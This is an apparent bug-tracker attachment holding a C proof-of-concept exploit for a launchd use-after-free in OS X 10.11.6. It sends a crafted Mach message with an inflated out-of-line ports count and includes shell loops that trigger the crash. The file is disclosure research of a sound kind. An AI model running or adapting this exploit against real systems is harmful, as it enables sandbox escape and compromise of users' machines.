New issue
Advanced search Search tips

Issue 896 attachment: legacy_ipc.c (2.9 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// ianbeer
// build: clang -o legacy_ipc legacy_ipc.c

/*
Controlled vm_deallocate size can lead to UaF in launchd

msgh_id 437 is parsed by launchd's autogenerated MIG code in the function at 0x10000420D (10.11.6)

This mig method takes an out-of-line-ports descriptor but the code doesn't verify that the request_fdsCnt
is equal to the actual descriptor size and it uses the untrusted one to call mig_deallocate to unmap the memory.

By passing a larger value we can cause subsequent pages to be deallocated while they're still in use.

This bug can be reached from any sandbox on OS X/iOS.

to actually see a crash run this PoC in a loop and also do something which causes a lot of launchd traffic eg:
in one terminal: while true; do ./legacy_ipc; done
in another: while true; do /Applications/Safari.app/Contents/MacOS/Safari & sleep 0.4 && killall Safari; done

tested on OS X 10.11.6 (15G31) on MacBookAir5,2
*/

#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#include <mach/mach.h>
#include <mach/mig.h>

typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t request;
mach_msg_ool_ports_descriptor_t request_fds;
mach_msg_port_descriptor_t asport;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t requestCnt;
mach_msg_type_number_t request_fdsCnt;
} Request;

int main(int argc, char** argv) {
Request req = {0};
Request* InP = &req;

mach_port_t ports[1];
ports[0] = MACH_PORT_NULL; // any mach port

// from old 10.9.5 launchd MIG .defs:

InP->msgh_body.msgh_descriptor_count = 3;

InP->request.address = (void *)(NULL);
InP->request.size = 0;
InP->request.deallocate = FALSE;
InP->request.copy = MACH_MSG_VIRTUAL_COPY;
InP->request.type = MACH_MSG_OOL_DESCRIPTOR;

InP->request_fds.address = (void *)(&ports[0]);
InP->request_fds.count = 1;
InP->request_fds.disposition = 17;
InP->request_fds.deallocate = FALSE;
InP->request_fds.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;


InP->asport.name = MACH_PORT_NULL;
InP->asport.disposition = 19;
InP->asport.type = MACH_MSG_PORT_DESCRIPTOR;

InP->NDR = NDR_record;

InP->requestCnt = 0;

InP->request_fdsCnt = 0x2000/4;

InP->Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|
MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
InP->Head.msgh_remote_port = bootstrap_port;
InP->Head.msgh_local_port = mig_get_reply_port();
InP->Head.msgh_id = 437;

kern_return_t msg_result;
msg_result = mach_msg(&InP->Head,
MACH_SEND_MSG/*|MACH_RCV_MSG*/|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(Request),
0,//(mach_msg_size_t)sizeof(Reply),
InP->Head.msgh_local_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);

return InP;
}